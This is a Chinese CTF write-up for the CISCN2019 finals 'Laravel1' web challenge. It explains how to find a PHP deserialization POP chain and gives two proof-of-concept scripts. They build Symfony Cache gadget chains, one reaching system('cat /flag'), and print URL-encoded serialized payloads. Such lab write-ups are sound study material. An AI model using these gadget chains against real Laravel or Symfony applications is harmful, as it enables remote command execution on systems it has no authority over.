刷題記錄:[CISCN2019 總決賽 Day1 Web4]Laravel1
題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:國賽決賽laravel的另一種不完美做法
解題過程
第一次分析這么大量的代碼,中途看睡着了好幾次,自己搞不出來,看wp跟着走算是弄懂。
首先題目首頁給出了提示,告訴我們利用點就是反序列化,問題是要找到pop鏈。
思路:
- 1、首先全局搜索
__destruct
這樣的魔術方法 - 2、看看本類中有沒有可控的命令執行命令,如果沒有就找有沒有那個方法可以調用其他類
- 3、然后全局搜索能利用的可控函數
看起來思路很簡單,但是操作起來是真的頭痛,先貼上兩個poc,以后這種題接觸多了再補。。
<?php
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
}
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('flight' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
}
namespace {
use Symfony\Component\Cache\Adapter\TagAwareAdapter;
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
<?php
namespace Symfony\Component\Cache\Adapter;
class TagAwareAdapter{
public $deferred = array();
function __construct($x){
$this->pool = $x;
}
}
class ProxyAdapter{
protected $setInnerItem = 'system';
}
namespace Symfony\Component\Cache;
class CacheItem{
protected $innerItem = 'cat /flag';
}
$a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter());
$a->deferred = array('aa'=>new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));